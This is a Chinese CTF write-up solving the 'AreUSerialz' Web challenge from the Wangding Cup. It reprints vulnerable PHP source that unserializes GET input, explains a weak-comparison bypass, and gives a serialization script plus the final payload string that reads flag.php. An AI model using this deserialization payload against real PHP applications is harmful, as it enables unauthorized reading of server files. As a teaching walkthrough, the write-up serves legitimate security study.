0
点赞
收藏
分享

微信扫一扫

网鼎杯-青龙组-Web-Wp

0x01 开局一张图

一看就知道让我们代码审计

网鼎杯-青龙组-Web-Wp_ctf

对于这种一长串的源码,还是逐步来解把

首先的解题思路就是查看CTF题目的命名和代码函数

CTF题目这里命名为​AreUSerialz​,我反正一眼看不出什么端详,打的CTF比较少,直接看函数名字

网鼎杯-青龙组-Web-Wp_反序列化_02网鼎杯-青龙组-Web-Wp_反序列化_03

在下面可以看到有一个​unserialize()​函数,那这一题基本上就是考反序列化的知识了。

我们整体的浏览一边代码,来看一下程序的大概走向。

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}

这里为了看起来方便,把换行都删除了,这样显得紧凑一点。

1、如果GET获取了str参数,​isset()​函数的作用是判断一个变量是否被设置,如果被设置 值就不为null

2、GET获取到的str参数经过​(string)​也不知道是干嘛的先不管,给$str变量

然后再进行一次判断,$str经过is_valid()函数的过滤,也不知道这个函数是干嘛的先不管。

3、把$str进行反序列化给到$obj变量,

这里因为执行了反序列所以会执行​__wakeup()​​函数,和​__destruct()​​函数,但是这里没有​__wakeup()​​所以只会执行​__destruct()​,我们跟进函数进行查看

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

函数这里是进行一个op值的判断,如果==="2"就强制给op赋值为1,否则就进入​process()​函数,继续跟进函数

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

这个函数也是进行一个判断:

如果op=="1"就进入write()函数,否则再次进行判断

如果op=="2"就进入read()函数,最后再输出$res的结果

如果op既不等于1也不等于2就输出Bad Hakcer!

而write()函数中就是对文件进行一个写的操作,read()函数对文件进行一个读的操作,我们是寻找flag肯定是需要进入read()函数

整体的代码过程

str -> __destruct()

op值对比 === 类型、值

op === "2"   则op=1 否则op=原来的值
->process()

op值对比 == 值

op == "1"写入文件 否则op == “2” 则读取文件 否则输出Bad Hakcer!
所以我们需要 op 不=== “2” 并且 op == “2”

这里需要用到PHP的弱类型比较

网鼎杯-青龙组-Web-Wp_反序列化_04网鼎杯-青龙组-Web-Wp_ctf_05

使用"2"即可满足两个条件。这里不对弱比较做过多的解释

最后因为他是经过反序列化进行传参,所以我们需要在本地写一个序列化的脚本,把我们需要的参数序列化输出出来,然后再传递进去。

    class FileHandler{         //这个类名一定要和题中的一样  
public $op = ' 2'; // 源码提示我们需要绕过op === "2" 并且满足 op == "2"
public $filename = "flag.php"; // 源码文件开头调用的flag.php文件
public $content = "sss"; // 这里源码定义了这个变量,但没用到,可以随便给
}
//这里用public而不是protected是因为protected序列化之后会有%00字符,而public没有
$flag_1 = new FileHandler();
$flag_s = serialize($flag_1);
echo $flag_s;
?>



0x02 public、protected、private下序列化对象的区别

php v7.x反序列化的时候对访问类别不敏感

  • public变量

直接变量名反序列化出来

  • protected变量

\x00 + * + \x00 + 变量名
可以用S:5:"\00*\00op"来代替s:5:"?*?op"

  • private变量

\x00 + 类名 + \x00 + 变量名

网鼎杯-青龙组-Web-Wp_反序列化_06网鼎杯-青龙组-Web-Wp_网络安全_07

这里需要的参数已经再代码中给出了

网鼎杯-青龙组-Web-Wp_反序列化_08网鼎杯-青龙组-Web-Wp_网络安全_09

1.O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"sss";}

我们也可以把他反序列化输出看看

网鼎杯-青龙组-Web-Wp_反序列化_10

    $s ='O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"sss";}';  
var_dump(unserialize($s));
?>

最后我们复制生成出来的字符串然后接str参数就可以访问到flag.php文件了

网鼎杯-青龙组-Web-Wp_网络安全_11

前端没有,查看源代码

网鼎杯-青龙组-Web-Wp_网络安全_12

成功获取Flag!

最后,技术上有你有我,愿我们早日成为大牛!

网鼎杯-青龙组-Web-Wp_ctf_13

举报

相关推荐

0 条评论